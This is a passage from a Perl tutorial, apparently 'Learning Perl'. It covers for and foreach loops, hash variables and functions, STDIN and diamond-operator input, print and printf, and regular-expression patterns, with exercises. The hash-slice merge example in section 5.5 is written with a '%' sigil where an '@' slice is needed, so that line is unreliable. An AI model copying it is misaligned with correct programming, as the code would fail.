In either case, the initial_exp expression is evaluated first. This expression typically assigns an initial value to an iterator variable, but there are no restrictions on what it can contain; in fact, it may even be empty (doing nothing). Then the test_exp expression is evaluated for truth or falsehood. If the value is true, the body is executed, followed by the re-init_exp (typically, but not solely, used to increment the iterator). Perl then reevaluates the test_exp, repeating as necessary.

This example prints the numbers 1 through 10, each followed by a space:

for ($i = 1; $i <= 10; $i++) {
    print "$i ";
}

Initially, the variable $i is set to 1. Then, this variable is compared with 10, which it is indeed less than or equal to. The body of the loop (the single print statement) is executed, and then the re-init expression (the autoincrement expression $i++) is executed, changing the value in $i to 2. Because this is still less than or equal to 10, we repeat the process until the last iteration where the value of 10 in $i gets changed to 11. This is then no longer less than or equal to 10, so the loop exits (with $i having a value of 11).

Previous: 4.3 The while/until Statement | Learning Perl | Next: 4.5 The foreach Statement
4.3 The while/until Statement | Book Index | 4.5 The foreach Statement


[Chapter 4] 4.5 The foreach Statement

Learning PerlSearch this book

4.5 The foreach Statement

Yet another iteration construct is the foreach statement. This statement takes a list of values and assigns them one at a time to a scalar variable, executing a block of code with each successive assignment. It looks like this:

foreach $i (@some_list) {
    statement_1;
    statement_2;
    statement_3;
}

Unlike in the C-shell, the original value of the scalar variable is automatically restored when the loop exits; another way to say this is that the scalar variable is local to the loop.

Here's an example of a foreach:

@a = (1,2,3,4,5);
foreach $b (reverse @a) {
    print $b;
}

This program snippet prints 54321. Note that the list used by the foreach can be an arbitrary list expression, not just an array variable. (This is typical of all Perl constructs that require a list.)

You can omit the name of the scalar variable, in which case Perl pretends you have specified the $_ variable name instead. You'll find that the $_ variable is used as a default for many of Perl's operations, so you can think of it as a scratch area. (All operations that use $_ by default can also use a normal scalar variable as well.) For example, the print function prints the value of $_ if no other value is specified, so the following example works like the previous one:

@a = (1,2,3,4,5);
foreach (reverse @a) {
    print;
}

See how using the implied $_ variable makes it easier? Once you've learned more functions and operators that default to $_ , this construct will become even more useful. This is one case where the shorter construct is more legible than the longer one.

If the list you are iterating over is made of real variables rather than some function returning a list value, then the variable being used for iteration is in fact an alias for each variable in the list instead of being merely a copy of the values. It means that if you change the scalar variable, you are also changing that particular element in the list that the variable is standing in for. For example:

@a = (3,5,7,9);
foreach $one (@a) {
    $one *= 3;
}
# @a is now (9,15,21,27)

Notice how altering $one in fact altered each element of @a. This is a feature, not a bug.

Previous: 4.4 The for Statement | Learning Perl | Next: 4.6 Exercises
4.4 The for Statement | Book Index | 4.6 Exercises


[Chapter 4] 4.6 Exercises

Learning PerlSearch this book

4.6 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that asks for the temperature outside, and prints "too hot" if the temperature is above 72, and "too cold" otherwise.

  2. Modify the program from the previous exercise so that it prints "too hot" if the temperature is above 75, "too cold" if the temperature is below 68, and "just right!" if it is between 68 and 75.

  3. Write a program that reads a list of numbers (on separate lines) until the number 999 is read, and then prints the total of all the numbers added together. (Be sure not to add in the 999!) For example, if you enter 1, 2, 3, and 999, the program should reply with the answer of 6 (1+2+3).

  4. Write a program that reads in a list of strings on separate lines and then prints out the list of strings in reverse order - without using reverse on the list. (Recall that <STDIN> will read a list of strings on separate lines when used in an array context.)

  5. Write a program that prints a table of numbers and their squares from zero to 32. Try to come up with a way where you don't need to have all the numbers from 0 to 32 in a list, and then try one where you do. (For nice looking output,

     printf "%5g %8g\n", $a, $b

    prints $a as a five-column number and $b as an eight-column number.)

Previous: 4.5 The foreach Statement | Learning Perl | Next: 5. Hashes
4.5 The foreach Statement | Book Index | 5. Hashes


[Chapter 5] Hashes

Learning PerlSearch this book
Previous: 4.6 Exercises Chapter 5 Next: 5.2 Hash Variables

5. Hashes

Contents:
What Is a Hash?
Hash Variables
Literal Representation of a Hash
Hash Functions
Hash Slices
Exercises

5.1 What Is a Hash?

A hash[1] is like the array that we discussed earlier, in that it is a collection of scalar data, with individual elements selected by some index value. Unlike a list array, the index values of a hash are not small nonnegative integers, but instead are arbitrary scalars. These scalars (called keys) are used later to retrieve the values from the array.

[1] In older documentation, hashes were called "associative arrays," but we got tired of a seven-syllable word for such a common item, so we replaced it with a much nicer one-syllable word.

The elements of a hash have no particular order. Consider them instead like a deck of filing cards. The top half of each card is the key, and the bottom half is the value. Each time you put a value into the hash, a new card is created. Later, when you want to modify the value, you give the key, and Perl finds the right card. So, really, the order of the cards is immaterial. In fact, Perl stores the cards (the key-value pairs) in a special internal order that makes it easy to find a specific card, so Perl doesn't have to look through all the pairs to find the right one. You cannot control this order, so don't try.[2]

[2] Actually, modules like IxHash and DB_file do provide some ordering, but at the cost of a non-trivial performance penalty.

Previous: 4.6 Exercises | Learning Perl | Next: 5.2 Hash Variables
4.6 Exercises | Book Index | 5.2 Hash Variables


[Chapter 5] 5.2 Hash Variables

Learning PerlSearch this book

5.2 Hash Variables

A hash variable name is a percent sign (%) followed by a letter, followed by zero or more letters, digits, and underscores. In other words, the part after the percent is just like what we've had for scalar and array variable names. And, just as there is no relationship between $fred and @fred, the %fred hash variable is also unrelated to the other two.

Rather than referencing the entire hash, the hash more commonly is created and accessed by referring to its elements. Each element of the hash is a separate scalar variable, accessed by a string index, called the key. Elements of the hash %fred are thus referenced with $fred{$key} where $key is any scalar expression. Notice once again that accessing an element of a hash requires different punctuation than when you access the entire hash.

As with arrays, you create new elements merely by assigning to a hash element:

$fred{"aaa"} = "bbb"; # creates key "aaa", value "bbb"
$fred{234.5} = 456.7; # creates key "234.5", value 456.7

These two statements create two elements in the hash. Subsequent accesses to the same element (using the same key) return the previously stored value:

print $fred{"aaa"}; # prints "bbb"
$fred{234.5} += 3;  # makes it 459.7

Referencing an element that does not exist returns the undef value, just as with a missing array element or an undefined scalar variable.

Previous: 5.1 What Is a Hash? | Learning Perl | Next: 5.3 Literal Representation of a Hash
5.1 What Is a Hash? | Book Index | 5.3 Literal Representation of a Hash


[Chapter 5] 5.3 Literal Representation of a Hash

Learning PerlSearch this book

5.3 Literal Representation of a Hash

You may wish to access the hash as a whole, either to initialize it or to copy it to another hash. Perl doesn't really have a literal representation for a hash, so instead it unwinds the hash as a list. Each pair of elements in the list (which should always have an even number of elements) defines a key and its corresponding value. This unwound representation can be assigned into another hash, which will then recreate the same hash. In other words:

@fred_list = %fred;
# @fred_list gets ("aaa","bbb","234.5",456.7)
%barney = @fred_list;  # create %barney like %fred
%barney = %fred;       # a faster way to do the same
%smooth = ("aaa","bbb","234.5",456.7);
# create %smooth like %fred, from literal values

The order of the key-value pairs is arbitrary in this unwound representation and cannot be controlled. Even if you swap some of the values around and create the hash as a whole, the returned unwound list is still in whatever order Perl has created for efficient access to the individual elements. You should never rely on any particular ordering.

One quick use of this winding-unwinding is to copy a hash value to another hash variable:

%copy = %original; # copy from %original to %copy

And you can construct a hash with keys and values swapped using the reverse operator, which works well here:

%backwards = reverse %normal;

Of course, if %normal has two identical values, those will end up as only a single element in %backwards, so this is best performed only on hashes with unique keys and values.

Previous: 5.2 Hash Variables | Learning Perl | Next: 5.4 Hash Functions
5.2 Hash Variables | Book Index | 5.4 Hash Functions


[Chapter 5] 5.4 Hash Functions

Learning PerlSearch this book

5.4 Hash Functions

This section lists some functions for hashes.

5.4.1 The keys Function

The keys(%hashname) function yields a list of all the current keys in the hash %hashname. In other words, it's like the odd-numbered (first, third, fifth, and so on) elements of the list returned by unwinding %hashname in an array context, and in fact, returns them in that order. If there are no elements to the hash, then keys returns an empty list.

For example, using the hash from the previous examples:

$fred{"aaa"} = "bbb";
$fred{234.5} = 456.7;
@list = keys(%fred); # @list gets ("aaa",234.5) or
                     # (234.5,"aaa")

As with all other built-in functions, the parentheses are optional: keys %fred is like keys(%fred).

foreach $key (keys (%fred)) { # once for each key of %fred
    print "at $key we have $fred{$key}\n"; # show key and value
}

This example also shows that individual hash elements can be interpolated into double-quoted strings. You cannot interpolate the entire hash, however.[3]

[3] Well, you can, using a slice, but we don't talk about slices here.

In a scalar context, the keys function gives the number of elements (key-value pairs) in the hash. For example, you can find out whether a hash is empty:

if (keys(%somehash)) { # if keys() not zero:
    ...; # array is non empty
}
# ... or ...
while (keys(%somehash) < 10) {
    ...; # keep looping while we have fewer than 10 elements
}

In fact, merely using %somehash in a scalar context will reveal whether the hash is empty or not:

if (%somehash) { # if true, then something's in it
    # do something with it
}

5.4.2 The values Function

The values(%hashname) function returns a list of all the current values of the %hashname, in the same order as the keys returned by the keys(%hashname) function. As always, the parentheses are optional. For example:

%lastname = (); # force %lastname empty
$lastname{"fred"} = "flintstone";
$lastname{"barney"} = "rubble";
@lastnames = values(%lastname); # grab the values

At this point @lastnames contains either ("flintstone", "rubble") or ("rubble", "flintstone").

5.4.3 The each Function

To iterate over (that is, examine every element of) an entire hash, use keys, looking up each returned key to get the corresponding value. Although this method is frequently used, a more efficient way is to use each(%hashname), which returns a key-value pair as a two-element list. On each evaluation of this function for the same hash, the next successive key-value pair is returned until all the elements have been accessed. When there are no more pairs, each returns an empty list.

So, for example, to step through the %lastname hash from the previous example, do something like this:

while (($first,$last) = each(%lastname)) {
    print "The last name of $first is $last\n";
}

Assigning a new value to the entire hash resets the each function to the beginning. Adding or deleting elements of the hash is quite likely to confuse each (and possibly you as well).

5.4.4 The delete Function

So far, with what you know, you can add elements to a hash, but you cannot remove them (other than by assigning a new value to the entire hash). Perl provides the delete function to remove hash elements. The operand of delete is a hash reference, just as if you were merely looking at a particular value. Perl removes the key-value pair from the hash. For example:

%fred = ("aaa","bbb",234.5,34.56); # give %fred two elements
delete $fred{"aaa"};
# %fred is now just one key-value pair

Previous: 5.3 Literal Representation of a Hash | Learning Perl | Next: 5.5 Hash Slices
5.3 Literal Representation of a Hash | Book Index | 5.5 Hash Slices


[Chapter 5] 5.5 Hash Slices

Learning PerlSearch this book

5.5 Hash Slices

Like an array variable (or list literal), a hash can be sliced to access a collection of elements instead of just one element at a time. For example, consider the bowling scores set individually:

$score{"fred"} = 205;
$score{"barney"} = 195;
$score{"dino"} = 30;

This seems rather redundant, and in fact can be shortened to:

($score{"fred"},$score{"barney"},$score{"dino"}) =
    (205,195,30);

But even these seems redundant. Let's use a hash slice:

@score{"fred","barney","dino"} = (205,195,30);

There. Much shorter. We can use a hash slice with variable interpolation as well:

@players = qw(fred barney dino);
print "scores are: @score{@players}\n";

Hash slices can also be used to merge a smaller hash into a larger one. In this example, the smaller hash takes precedence in the sense that if there are duplicate keys, the value from the smaller hash is used:

%league{keys %score} = values %score;

Here, the values of %score are merged into the %league hash. This is equivalent to the much slower operation:

%league = (%league, %score); # merge %score into %league

Previous: 5.4 Hash Functions | Learning Perl | Next: 5.6 Exercises
5.4 Hash Functions | Book Index | 5.6 Exercises


[Chapter 5] 5.6 Exercises

Learning PerlSearch this book

5.6 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that reads in a string, then prints that string and its mapped value according to the mapping presented in the following table:

    Input

    Output

    red

    apple

    green

    leaves

    blue

    ocean

  2. Write a program that reads a series of words with one word per line until end-of-file, then prints a summary of how many times each word was seen. (For extra challenge, sort the words in ascending ASCII order in the output.)

Previous: 5.5 Hash Slices | Learning Perl | Next: 6. Basic I/O
5.5 Hash Slices | Book Index | 6. Basic I/O


[Chapter 6] Basic I/O

Learning PerlSearch this book
Previous: 5.6 Exercises Chapter 6 Next: 6.2 Input from the Diamond Operator

6. Basic I/O

Contents:
Input from STDIN
Input from the Diamond Operator
Output to STDOUT
Exercises

6.1 Input from STDIN

Reading from standard input (via the Perl filehandle called STDIN) is easy. We've been doing it already with the <STDIN> operation. Evaluating this in a scalar context gives the next line of input,[1] or undef if there are no more lines, like so:

$a = <STDIN>; # read the next line

[1] Up to a newline, or whatever you've set $/ to.

Evaluating in a list context produces all remaining lines as a list: each element is one line, including its terminating newline. We've seen this before, but as a refresher, it might look something like this:

@a = <STDIN>;

Typically, one thing you want to do is read all lines one at a time and do something with each line. One common way to do this is:

while (defined($line = <STDIN>)) {
    # process $line here
}

As long as a line has been read in, <STDIN> evaluates to a defined value, so the loop continues to execute. When <STDIN> has no more lines to read, it returns undef, terminating the loop.

Reading a scalar value from <STDIN> into $_ and using that value as the controlling expression of a loop (as in the previous example) occurs frequently enough that Perl has an abbreviation for it. Whenever a loop test consists solely of the input operator (something like <...>), Perl automatically copies the line that is read into the $_ variable.

while (<STDIN>) { # like "while(defined($_ = <STDIN>)) {"
    chomp; # like "chomp($_)"
    # other operations with $_ here
}

Since the $_ variable is the default for many operations, you can save a noticeable amount of typing this way.

Previous: 5.6 Exercises | Learning Perl | Next: 6.2 Input from the Diamond Operator
5.6 Exercises | Book Index | 6.2 Input from the Diamond Operator


[Chapter 6] 6.2 Input from the Diamond Operator

Learning PerlSearch this book

6.2 Input from the Diamond Operator

Another way to read input is with the diamond operator: <>. This works like <STDIN> in that it returns a single line in a scalar context (undef if all the lines have been read) or all remaining lines if used in a list context. However, unlike <STDIN>, the diamond operator gets its data from the file or files specified on the command line that invoked the Perl program. For example, you have a program named kitty, consisting of

#!/usr/bin/perl
while (<>) {
    print $_;
}

and you invoke kitty with

kitty file1 file2 file3

then the diamond operator reads each line of file1 followed by each line of file2 and file3 in turn, returning undef only when all of the lines have been read. As you can see, kitty works a little like the UNIX command cat, sending all the lines of the named files to standard output in sequence. If, like cat, you don't specify any filenames on the command line, the diamond operator reads from standard input automatically.

Technically, the diamond operator isn't looking literally at the command-line arguments; it works from the @ARGV array. This array is a special array initialized by the Perl interpreter to the command-line arguments. Each command-line argument goes into a separate element of the @ARGV array. You can interpret this list any way you want.[2] You can even set this array within your program and have the diamond operator work on that new list rather than the command-line arguments, like so:

@ARGV = ("aaa","bbb","ccc");
while (<>) { # process files aaa, bbb, and ccc
    print "this line is: $_";
}

[2] The standard Perl distribution contains modules for getopt-like parsing of the command-line arguments of a Perl program. See Programming Perl or perlmodlib (1) for more information on the library.

In Chapter 10, Filehandles and File Tests, we'll see how to open and close specific filenames at specific times, but this technique has been used for some of our quick-and-dirty programs.

Previous: 6.1 Input from STDIN | Learning Perl | Next: 6.3 Output to STDOUT
6.1 Input from STDIN | Book Index | 6.3 Output to STDOUT


[Chapter 6] 6.3 Output to STDOUT

Learning PerlSearch this book

6.3 Output to STDOUT

Perl uses the print and printf functions to write to standard output. Let's look at how they are used.

6.3.1 Using print for Normal Output

We've already used print to display text on standard output. Let's expand on that a bit.

The print function takes a list of strings and sends each string to standard output in turn, without any intervening or trailing characters added. What might not be obvious is that print is really just a function that takes a list of arguments, and returns a value like any other function. In other words,

$a = print("hello ", "world", "\n");

would be another way to say hello world. The return value of print is a true or false value, indicating the success of the print. It nearly always succeeds, unless you get some I/O error, so $a in this case would usually be 1.

Sometimes you'll need to add parentheses to print as shown in the example, especially when the first thing you want to print itself starts with a left parenthesis, as in:

print (2+3),"hello";   # wrong! prints 5, ignores "hello"
print ((2+3),"hello"); # right, prints 5hello
print 2+3,"hello";     # also right, prints 5hello

6.3.2 Using printf for Formatted Output

You may wish a little more control over your output than print provides. In fact, you may be accustomed to the formatted output of C's printf function. Fear not: Perl provides a comparable operation with the same name.

The printf function takes a list of arguments (enclosed in optional parentheses, like the print function). The first argument is a format control string, defining how to print the remaining arguments. If you're not familiar with the standard printf function, you should probably check out the manpage for printf (3) or perlfunc (1), if you have one, or look at the description in Chapter 3 of Programming Perl.

As an example, however

printf "%15s %5d %10.2f\n", $s, $n, $r;

prints $s in a 15-character field, then space, then $n as a decimal integer in a 5-character field, then another space, then $r as a floating-point value with 2 decimal places in a 10-character field, and finally a newline.

Previous: 6.2 Input from the Diamond Operator | Learning Perl | Next: 6.4 Exercises
6.2 Input from the Diamond Operator | Book Index | 6.4 Exercises


[Chapter 6] 6.4 Exercises

Learning PerlSearch this book

6.4 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that acts like cat, but reverses the order of the lines of all the lines from all the files specified on the command line or all the lines from standard input if no files are specified. (Some systems have a utility like this named tac.)

  2. Modify the program from the previous exercise so that each file specified on the command line has its lines individually reversed. (Yes, you can do this with only what's been shown to you so far, even excluding the stroll in Chapter 1, Introduction.)

  3. Write a program that reads a list of strings on separate lines, and prints the strings in a right-justified 20-character column. For example, inputting hello, good-bye prints hello and good-bye right-justified in a 20-character column. (Be sure your program is actually using a 20-character column, not a 21-character column. That's a common mistake.)

  4. Modify the program from the previous exercise to allow the user to select the column width. For example, entering 20, hello, and good-bye should do the same thing as the previous program did, but entering 30, hello, and good-bye should justify hello and good-bye in a 30-character column.

Previous: 6.3 Output to STDOUT | Learning Perl | Next: 7. Regular Expressions
6.3 Output to STDOUT | Book Index | 7. Regular Expressions


[Chapter 7] Regular Expressions

Learning PerlSearch this book
Previous: 6.4 Exercises Chapter 7 Next: 7.2 Simple Uses of Regular Expressions

7. Regular Expressions

Contents:
Concepts About Regular Expressions
Simple Uses of Regular Expressions
Patterns
More on the Matching Operator
Substitutions
The split and join Functions
Exercises

7.1 Concepts About Regular Expressions

A regular expression is a pattern - a template - to be matched against a string. Matching a regular expression against a string either succeeds or fails. Sometimes, the success or failure may be all you are concerned about. At other times, you will want to take a matched pattern and replace it with another string, parts of which may depend on exactly how and where the regular expression matched.

Regular expressions are used by many programs, such as the UNIX commands, grep, sed, awk, ed, vi, emacs, and even the various shells. Each program has a different set of (mostly overlapping) template characters. Perl is a semantic superset of all of these tools: any regular expression that can be described in one of these tools can also be written in Perl, but not necessarily using exactly the same characters.

Previous: 6.4 Exercises | Learning Perl | Next: 7.2 Simple Uses of Regular Expressions
6.4 Exercises | Book Index | 7.2 Simple Uses of Regular Expressions


[Chapter 7] 7.2 Simple Uses of Regular Expressions

Learning PerlSearch this book

7.2 Simple Uses of Regular Expressions

If we were looking for all lines of a file that contain the string abc, we might use the grep command:

grep abc somefile >results

In this case, abc is the regular expression that the grep command tests against each input line. Lines that match are sent to standard output, here ending up in the file results because of the command-line redirection.

In Perl, we can speak of the string abc as a regular expression by enclosing the string in slashes:

if (/abc/) {
    print $_;
}

But what is being tested against the regular expression abc in this case? Why, it's our old friend, the $_ variable! When a regular expression is enclosed in slashes (as above), the $_ variable is tested against the regular expression. If the regular expression matches, the match operator returns true. Otherwise, it returns false.

For this example, the $_ variable is presumed to contain some text line and is printed if the line contains the characters abc in sequence anywhere within the line - similar to the grep command above. Unlike the grep command, which is operating on all of the lines of a file, this Perl fragment is looking at just one line. To work on all lines, add a loop, as in:

while (<>) {
    if (/abc/) {
        print $_;
    }
}

What if we didn't know the number of b's between the a and the c? That is, what if we want to print the line if it contains an a followed by zero or more b's, followed by a c. With grep, we'd say:

grep "ab*c" somefile >results

(The argument containing the asterisk is in quotes because we don't want the shell expanding that argument as if it were a filename wildcard. It has to be passed as-is to grep to be effective.) In Perl, we can say exactly the same thing:

while (<>) {
    if (/ab*c/) {
        print $_;
    }
}

Just like grep, this means an a followed by zero or more b's followed by a c.

We'll visit more uses of pattern matching in Section 7.4, "More on the Matching Operator," later in the chapter, after we talk about all kinds of regular expressions.

Another simple regular expression operator is the substitute operator, which replaces the part of a string that matches the regular expression with another string. The substitute operator looks like the s command in the UNIX command sed utility, consisting of the letter s, a slash, a regular expression, a slash, a replacement string, and a final slash, looking something like:

s/ab*c/def/;

The variable (in this case, $_) is matched against the regular expression (ab*c). If the match is successful, the part of the string that matched is discarded and replaced by the replacement string (def). If the match is unsuccessful, nothing happens.

As with the match operator, we'll revisit the myriad options on the substitute operator later, in Section 7.5, "Substitutions."

Previous: 7.1 Concepts About Regular Expressions | Learning Perl | Next: 7.3 Patterns
7.1 Concepts About Regular Expressions | Book Index | 7.3 Patterns


[Chapter 7] 7.3 Patterns

Learning PerlSearch this book

7.3 Patterns

A regular expression is a pattern. Some parts of the pattern match single characters in the string of a particular type. Other parts of the pattern match multiple characters. First, we'll visit the single-character patterns and then the multiple-character patterns.

7.3.1 Single-Character Patterns

The simplest and most common pattern-matching character in regular expressions is a single character that matches itself. In other words, putting a letter a in a regular expression requires a corresponding letter a in the string.

The next most common pattern matching character is the dot ".". This matches any single character except newline (\n). For example, the pattern /a./ matches any two-letter sequence that starts with a and is not "a\n".

A pattern-matching character class is represented by a pair of open and close square brackets and a list of characters between the brackets. One and only one of these characters must be present at the corresponding part of the string for the pattern to match. For example,

/[abcde]/

matches a string containing any one of the first five letters of the lowercase alphabet, while

/[aeiouAEIOU]/

matches any of the five vowels in either lower- or uppercase. If you want to put a right bracket (]) in the list, put a backslash in front of it, or put it as the first character within the list. Ranges of characters (like a through z) can be abbreviated by showing the end points of the range separated by a dash (-); to get a literal dash in the list, precede the dash with a backslash or place it at the end. Here are some other examples:

[0123456789]    # match any single digit
[0-9]           # same thing
[0-9\-]         # match 0-9, or minus
[a-z0-9]        # match any single lowercase letter or digit
[a-zA-Z0-9_]    # match any single letter, digit, or underscore

There's also a negated character class, which is the same as a character class, but has a leading up-arrow (or caret: ^) immediately after the left bracket. This character class matches any single character that is not in the list. For example:

[^0-9]        # match any single non-digit
[^aeiouAEIOU] # match any single non-vowel
[^\^]         # match single character except an up-arrow

For your convenience, some common character classes are predefined, as described in Table 7.1.

Table 7.1: Predefined Character Class Abbreviations
Construct | Equivalent Class | Negated Construct | Equivalent Negated Class
\d (a digit) | [0-9] | \D (digits, not!) | [^0-9]
\w (word char) | [a-zA-Z0-9_] | \W (words, not!) | [^a-zA-Z0-9_]
\s (space char) | [ \r\t\n\f] | \S (space, not!) | [^ \r\t\n\f]

The \d pattern matches one "digit." The \w pattern matches one "word character," although what it is really matching is any character that is legal in a Perl variable name. The \s pattern matches one "space" (whitespace), here defined as spaces, carriage returns (not often used in UNIX), tabs, line feeds, and form feeds. The uppercase versions match the complements of these classes. Thus, \W matches one character that can't be in an identifier, \S matches one character that is not whitespace (including letter, punctuation, control characters, and so on), and \D matches any single nondigit character.

These abbreviated classes can be used as part of other character classes as well:

[\da-fA-F] # match one hex digit

7.3.2 Grouping Patterns

The true power of regular expressions comes into play when you can say "one or more of these" or "up to five of those." Let's talk about how this is done.

7.3.2.1 Sequence

The first (and probably least obvious) grouping pattern is sequence. This means that abc matches an a followed by a b followed by a c. Seems simple, but we're giving it a name so we can talk about it later.

7.3.2.2 Multipliers

We've already seen the asterisk (*) as a grouping pattern. The asterisk indicates zero or more of the immediately previous character (or character class).

Two other grouping patterns that work like this are the plus sign (+), meaning one or more of the immediately previous character, and the question mark (?), meaning zero or one of the immediately previous character. For example, the regular expression /fo+ba?r/ matches an f followed by one or more o's followed by a b, followed by an optional a, followed by an r.

In all three of these grouping patterns, the patterns are greedy. If such a multiplier has a chance to match between five and ten characters, it'll pick the 10-character string every time. For example,

$_ = "fred xxxxxxxxxx barney";
s/x+/boom/;

always replaces all consecutive x's with boom (resulting in fred boom barney), rather than just one or two x's, even though a shorter set of x's would also match the same regular expression.

If you need to say "five to ten" x's, you could get away with putting five x's followed by five x's each immediately followed by a question mark. But this looks ugly. Instead, there's an easier way: the general multiplier. The general multiplier consists of a pair of matching curly braces with one or two numbers inside, as in /x{5,10}/. The immediately preceding character (in this case, the letter "x") must be found within the indicated number of repetitions (five through ten here).[1]

[1] Of course, /\d{3}/ doesn't only match three-digit numbers. It would also match any number with more than three digits in it. To match exactly three, you need to use anchors, described later in Section 7.3.3, "Anchoring Patterns."

If you leave off the second number, as in /x{5,}/, it means "that many or more" (five or more in this case), and if you leave off the comma, as in /x{5}/, it means "exactly this many" (five x's). To get five or less x's, you must put the zero in, as in /x{0,5}/.

So, the regular expression /a.{5}b/ matches the letter a separated from the letter b by any five non-newline characters at any point in the string. (Recall that a period matches any single non-newline character, and we're matching five here.) The five characters do not need to be the same. (We'll learn how to force them to be the same in the next section.)

We could dispense with *, +, and ? entirely, since they are completely equivalent to {0,}, {1,}, and {0,1}. But it's easier to type the equivalent single punctuation character, and more familiar as well.

If two multipliers occur in a single expression, the greedy rule is augmented with "leftmost is greediest." For example:

$_ = "a xxx c xxxxxxxx c xxx d";
/a.*c.*d/;

In this case, the first ".*" in the regular expression matches all characters up to the second c, even though matching only the characters up to the first c would still allow the entire regular expression to match. Right now, this doesn't make any difference (the pattern would match either way), but later when we can look at parts of the regular expression that matched, it'll matter quite a bit.

We can force any multiplier to be nongreedy (or lazy) by following it with a question mark:

$_ = "a xxx c xxxxxxxx c xxx d";
/a.*?c.*d/;

Here, the a.*?c now matches the fewest characters between the a and c, not the most characters. This means the leftmost c is matched, not the rightmost. You can put such a question-mark modifier after any of the multipliers (?,+,*, and {m,n}).

What if the string and regular expression were slightly altered, say, to:

$_ = "a xxx ce xxxxxxxx ci xxx d";
/a.*ce.*d/;

In this case, if the .* matches the most characters possible before the next c, the next regular expression character (e) doesn't match the next character of the string (i). In this case, we get automatic backtracking: the multiplier is unwound and retried, stopping at someplace earlier (in this case, at the earlier c, next to the e).[2] A complex regular expression may involve many such levels of backtracking, leading to long execution times. In this case, making that match lazy (with a trailing "?") will actually simplify the work that Perl has to perform, so you may want to consider that.

[2] Well, technically there was a lot of backtracking of the * operator to find the c's in the first place. But that's a little trickier to describe, and it works on the same principle.

7.3.2.3 Parentheses as memory

Another grouping operator is a pair of open and close parentheses around any part pattern. This doesn't change whether the pattern matches, but instead causes the part of the string matched by the pattern to be remembered, so that it may be referenced later. So for example, (a) still matches an a, and ([a-z]) still matches any single lowercase letter.

To recall a memorized part of a string, you must include a backslash followed by an integer. This pattern construct represents the same sequence of characters matched earlier in the same-numbered pair of parentheses (counting from one). For example,

/fred(.)barney\1/;

matches a string consisting of fred, followed by any single non-newline character, followed by barney, followed by that same single character. So, it matches fredxbarneyx, but not fredxbarneyy. Compare that with

/fred.barney./;

in which the two unspecified characters can be the same, or different; it doesn't matter.

Where did the 1 come from? It means the first parenthesized part of the regular expression. If there's more than one, the second part (counting the left parentheses from left to right) is referenced as \2, the third as \3, and so on. For example,

/a(.)b(.)c\2d\1/;

matches an a, a character (call it #1), a b, another character (call it #2), a c, the character #2, a d, and the character #1. So it matches axbycydx, for example.

The referenced part can be more than a single character. For example,

/a(.*)b\1c/;

matches an a, followed by any number of characters (even zero) followed by b, followed by that same sequence of characters followed by c. So, it would match aFREDbFREDc, or even abc, but not aXXbXXXc.

7.3.2.4 Alternation

Another grouping construct is alternation, as in a|b|c. This means to match exactly one of the alternatives (a or b or c in this case). This works even if the alternatives have multiple characters, as in /song|blue/, which matches either song or blue. (For single character alternatives, you're definitely better off with a character class like /[abc]/.)

What if we wanted to match songbird or bluebird? We could write /songbird|bluebird/, but that bird part shouldn't have to be in there twice. In fact, there's a way out, but we have to talk about the precedence of grouping patterns, which is covered in Section 7.3.4, "Precedence," below.

7.3.3 Anchoring Patterns

Several special notations anchor a pattern. Normally, when a pattern is matched against the string, the beginning of the pattern is dragged through the string from left to right, matching at the first possible opportunity. Anchors allow you to ensure that parts of the pattern line up with particular parts of the string.

The first pair of anchors require that a particular part of the match be located either at a word boundary or not at a word boundary. The \b anchor requires a word boundary at the indicated point for the pattern to match. A word boundary is the place between characters that match \w and \W, or between characters matching \w and the beginning or ending of the string. Note that this has little to do with English words and a lot more to do with C symbols, but that's as close as we get. For example:

/fred\b/;     # matches fred, but not frederick
/\bmo/;       # matches moe and mole, but not Elmo
/\bFred\b/;   # matches Fred but not Frederick or alFred
/\b\+\b/;     # matches "x+y" but not "++" or " + "
/abc\bdef/;   # never matches (impossible for a boundary there)

Likewise, \B requires that there not be a word boundary at the indicated point. For example:

/\bFred\B/; # matches "Frederick" but not "Fred Flintstone"

Two more anchors require that a particular part of the pattern be next to an end of the string. The caret (^) matches the beginning of the string if it is in a place that makes sense to match the beginning of the string. For example, ^a matches an a if, and only if, the a is the first character of the string. However, a^ matches the two characters a and ^ anywhere in the string. In other words, the caret has lost its special meaning. If you need the caret to be a literal caret even at the beginning, put a backslash in front of it.

The $, like the ^, anchors the pattern, but to the end of the string, not the beginning. In other words, c$ matches a c only if it occurs at the end of the string.[3] A dollar sign anywhere else in the pattern is probably going to be interpreted as a scalar value interpretation, so you'll most likely need to backslash it to match a literal dollar sign in the string.

[3] Or just before the newline at the end of the string, for historical simplicity.

Other anchors are supported, including \A, \Z, and lookahead anchors created via (?=...) and (?!...). These are described fully in Chapter 2 of Programming Perl and the perlre (1) manpage.

7.3.4 Precedence

So what happens when we get a|b* together? Is this a or b any number of times, or is it either a single a or any number of b's?

Well, just as operators have precedence, the grouping and anchoring patterns also have precedence. The precedence of patterns from highest to lowest is given in Table 7.2.

Table 7.2: regex Grouping Precedence [4]
Name | Representation
Parentheses | ( ) (?: )
Multipliers | ? + * {m,n} ?? +? *? {m,n}?
Sequence and anchoring | abc ^ $ \A \Z (?= ) (?! )
Alternation | |

[4] Some of these symbols are not described in this book. See Programming Perl or perlre (1) for details.

According to the table, * has a higher precedence than |. So /a|b*/ is interpreted as a single a, or any number of b's.

What if we want the other meaning, as in "any number of a's or b's"? We simply throw in a pair of parentheses. In this case, enclose the part of the expression that the * operator should apply to inside parentheses, and we've got it, as (a|b)*. If you want to clarify the first expression, you can redundantly parenthesize it with a|(b*).

When you use parentheses to affect precedence they also trigger the memory, as shown earlier in this chapter. That is, this set of parentheses counts when you are figuring out whether something is \2, \3, or whatever. If you want to use parentheses without triggering memory, use the form (?:...) instead of (...). This still allows for multipliers, but doesn't throw off your counting by using up \4 or whatever. For example, /(?:Fred|Wilma) Flintstone/ does not store anything into \1; it's just there for grouping.

Here are some other examples of regular expressions and the effect of parentheses:

abc*             # matches ab, abc, abcc, abccc, abcccc, and so on
(abc)*           # matches "", abc, abcabc, abcabcabc, and so on
^x|y             # matches x at the beginning of line, or y anywhere
^(x|y)           # matches either x or y at the beginning of a line
a|bc|d           # a, or bc, or d
(a|b)(c|d)       # ac, ad, bc, or bd
(song|blue)bird  # songbird or bluebird

Previous: 7.2 Simple Uses of Regular Expressions | Learning Perl | Next: 7.4 More on the Matching Operator
